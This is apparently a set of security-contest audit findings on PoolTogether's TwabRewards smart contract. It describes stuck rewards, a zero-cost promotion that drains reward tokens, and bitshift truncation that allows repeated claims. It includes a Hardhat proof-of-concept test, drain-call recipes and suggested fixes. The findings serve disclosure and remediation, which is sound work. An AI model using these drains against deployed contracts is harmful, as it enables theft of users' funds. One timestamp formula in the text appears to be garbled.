PoolTogether TwabRewards contest - gzeon's results

Handle

gzeon

Vulnerability details

Impact

When owner call cancelPromotion, the contract

1. Delete the promotion struct (L132)
2. Return all token reserved for future epochs (L133)

If there are token left for previous epochs, they will be stuck in the contract as the promotion struct is gone.

Proof of Concept

https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L119

Recommended Mitigation Steps

Set numberOfEpochs instead, i.e. _promotions[_promotionId].numberOfEpochs = _getCurrentEpochId(_promotion)+1;

Handle

gzeon

Vulnerability details

Impact

There are no checks to make sure _epochId < _numberOfEpochs in claimRewards. This allow one to create a promotion with 0 epoch without cost, and drain any promotion rewards

Proof of Concept

Attacker can create a promotion with the following configuration:

    address _ticket = someTicket
    IERC20 _token = targetToken
    uint216 _tokensPerEpoch = targetToken.balanceOf(TwabRewards)
    uint32 _startTimestamp = block.timestamp - 1
    uint32 _epochDuration = 1
    uint8 _numberOfEpochs = 0

Creation of such promotion require 0 targetToken since

_token.safeTransferFrom(msg.sender, address(this), _tokensPerEpoch * _numberOfEpochs);

Yet the attacker can immediately call claimRewards to drain the contract. An un-optimized POC as follow:

        it('should calim 0 from a promotion that cost', async () => {
            const promotionId = 1;

            const wallet2Amount = toWei('750');
            const wallet3Amount = toWei('250');

            await ticket.mint(wallet2.address, wallet2Amount);
            await ticket.connect(wallet2).delegate(wallet2.address);
            await ticket.mint(wallet3.address, wallet3Amount);
            await ticket.connect(wallet3).delegate(wallet3.address);

            await createPromotion(ticket.address);

            // Ensure wallet2(Attacker) have no rewardToken to start with
            expect(await rewardToken.balanceOf(wallet2.address)).to.equal(0);
            await twabRewards.connect(wallet2).createPromotion(
                ticket.address,
                rewardToken.address,
                10000000000,
                createPromotionTimestamp-1,
                1,
                0,
            );

            // Should claim 0 from a promotion that cost 0
            await expect(twabRewards.claimRewards(wallet2.address, promotionId+1, [0]))
                .to.emit(twabRewards, 'RewardsClaimed')
                .withArgs(promotionId+1, [0], wallet2.address, 0);

        });

claimRewards() should calim 0 from a promotion that cost 0: AssertionError: Expected "7500000000" to be equal 0

To optimize the attack, attacker can deploy a _ticket that he own 100% of the supply and set _tokensPerEpoch to targetToken.balanceOf(TwabRewards)

Tools Used

Hardhat with test case in https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/test/TwabRewards.test.ts

Recommended Mitigation Steps

1. require(_epochId < _numberOfEpochs,'!reward') in claimRewards

Handle

gzeon

Vulnerability details

Can claim epoch > 255 repeatedly due to bitshift truncation

Impact

TwabRewards contract store user claimed reward in a _claimedEpochs bitmap. https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L371

    function _isClaimedEpoch(uint256 _userClaimedEpochs, uint256 _epochId)
        internal
        pure
        returns (bool)
    {
        return (_userClaimedEpochs >> _epochId) & uint256(1) == 1;
    }

even in solidity ^8.0.0, bitshifts are unsafe. _userClaimedEpochs >> _epochId will truncate to 0 for any _epochId > 255. https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L350

    function _updateClaimedEpoch(uint256 _userClaimedEpochs, uint256 _epochId)
        internal
        pure
        returns (uint256)
    {
        return _userClaimedEpochs | (uint256(1) << _epochId);
    }

uint256(1) << _epochId will also truncate to 0 for any _epochId > 255

Also note that while _numberOfEpochs is uint8, _epochIds is uint256 and there are no checks to make sure _epochId < _numberOfEpochs in claimRewards.

These combined allows an attacker to drain the promotion reward.

Proof of Concept

https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L162

When block.timestamp > startTimestamp + startTimestamp * 255, attacher can drain the remaining reward in the contract when block.timestamp > startTimestamp + startTimestamp * 255, for any value of _numberOfEpochs set in the promotion, by calling claimRewards with _epochIds = [256,256,256,...]

Recommended Mitigation Steps

1. Make _epochIds uint8